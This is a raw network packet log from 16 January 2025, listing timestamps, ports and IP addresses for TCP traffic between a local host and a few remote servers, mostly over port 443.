Jan 16, 2025 17:20:23.386271000 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.386331081 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.386394024 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.386394978 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.386400938 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.386450052 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.386528015 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.386720896 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.386728048 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.386826992 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.386979103 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387063026 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387073994 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387176037 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387178898 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387192011 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387257099 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387257099 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387268066 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387279987 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387324095 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387331009 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387458086 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387518883 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387518883 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387525082 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387566090 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387718916 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387726068 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387758017 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387906075 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387936115 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387943983 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.387990952 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.387990952 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.388149023 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.388290882 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.388298035 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.388324022 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.388350964 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.388358116 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.388387918 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.388447046 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.403270006 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.403299093 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.403341055 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.403363943 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.403398991 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.403422117 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.404345989 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.404366970 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.404412031 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.404422045 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.404448032 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.404463053 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.405297041 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.405316114 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.405354023 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.405369997 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.405395031 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.405411959 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.407006025 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.407025099 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.407063961 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.407088995 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.407107115 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.407299995 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.419687033 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.419879913 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.419895887 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.420936108 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.470514059 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.470568895 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.470628023 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.470854998 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.470871925 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474483013 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474555969 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474638939 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474638939 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474652052 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474673986 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474714994 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474721909 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474721909 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474729061 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474790096 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474790096 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474797010 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474874020 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474895000 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474908113 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.474950075 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.474950075 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.475042105 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.475095034 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.475106001 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.475241899 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.475624084 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.475693941 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.475720882 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.475775957 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.475846052 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.475898981 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.475898981 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.475905895 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476006031 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476475954 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476536989 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476543903 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.476543903 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.476552963 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476605892 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476656914 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.476658106 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.476670027 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476682901 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476721048 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476746082 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.476746082 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.476753950 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.476794958 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.476794958 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.492206097 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.492228985 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.492274046 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.492301941 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.492316008 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.492345095 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.492697954 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.492738008 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.492762089 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.492767096 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.492810965 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.493647099 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.493669033 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.493701935 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.493709087 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.493762970 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.494580030 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.494601965 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.494654894 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.494661093 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.494683981 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.494704008 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.496532917 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.496553898 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.496606112 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.496614933 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.496675968 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.497359991 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.497380018 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.497442961 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.497447968 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.497486115 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.498032093 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.498049974 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.498095036 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.498101950 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.498128891 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.498151064 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.508157015 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.508300066 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.508316040 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.508375883 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563003063 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563093901 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563105106 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563118935 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563203096 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563206911 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563218117 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563255072 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563266993 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563271046 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563363075 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563390970 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563539982 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563565969 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563574076 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563623905 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563656092 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.563829899 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.563834906 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564052105 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564148903 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.564156055 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564376116 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564423084 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564476967 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.564476967 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.564483881 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564719915 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564769983 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564786911 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.564796925 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564831018 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564857960 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.564866066 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.564914942 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.564914942 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.564958096 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.565160990 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.565169096 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.565177917 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.565284014 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.565304995 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.565310955 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.565365076 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.565365076 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.580759048 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.580782890 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.580859900 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.580894947 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.580934048 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.581062078 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581083059 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581105947 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.581111908 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581136942 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.581180096 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.581588030 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581608057 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581669092 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.581676006 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581712961 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.581918955 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581944942 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.581976891 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.581984043 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582010984 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.582027912 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.582297087 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582313061 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582348108 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.582354069 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582390070 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.582874060 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582894087 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582938910 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.582946062 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582958937 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.582962990 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.582984924 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.582995892 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.583009958 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.583014965 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.583046913 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.583273888 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.583304882 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.583415985 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.583422899 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.583461046 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.596765041 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.596837997 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.596863031 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.599340916 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.651995897 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652086020 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652137995 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652148008 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652167082 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652178049 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652203083 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652204037 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652219057 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652287006 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652287006 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652297974 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652307034 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652340889 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652349949 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652363062 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652367115 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652419090 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652435064 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652439117 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.652533054 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.652915955 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653003931 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653009892 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.653016090 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653208971 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.653214931 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653304100 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653333902 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.653338909 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653388023 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.653490067 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.653584957 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653767109 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.653774977 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.653827906 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.653953075 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.654001951 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.654159069 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.669616938 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.669682026 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.669697046 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.669734001 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.669748068 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.669749975 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.669785023 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.671879053 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.671892881 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.792651892 CET	80	49754	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:23.854291916 CET	49754	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:23.859700918 CET	80	49754	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:24.101656914 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.101732016 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.102303028 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.102313995 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.102654934 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.102658987 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.227646112 CET	80	49754	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:24.253568888 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.253595114 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.253609896 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.253643036 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.253699064 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.253711939 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.253751993 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.278734922 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:24.278776884 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:24.278917074 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:24.285377026 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:24.285430908 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:24.285480022 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:24.307307005 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:24.307332039 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:24.307580948 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:24.307599068 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:24.342034101 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.342062950 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.342103958 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.342125893 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.342149973 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.342166901 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.343605995 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.343620062 CET	443	49756	150.171.28.10	192.168.2.6
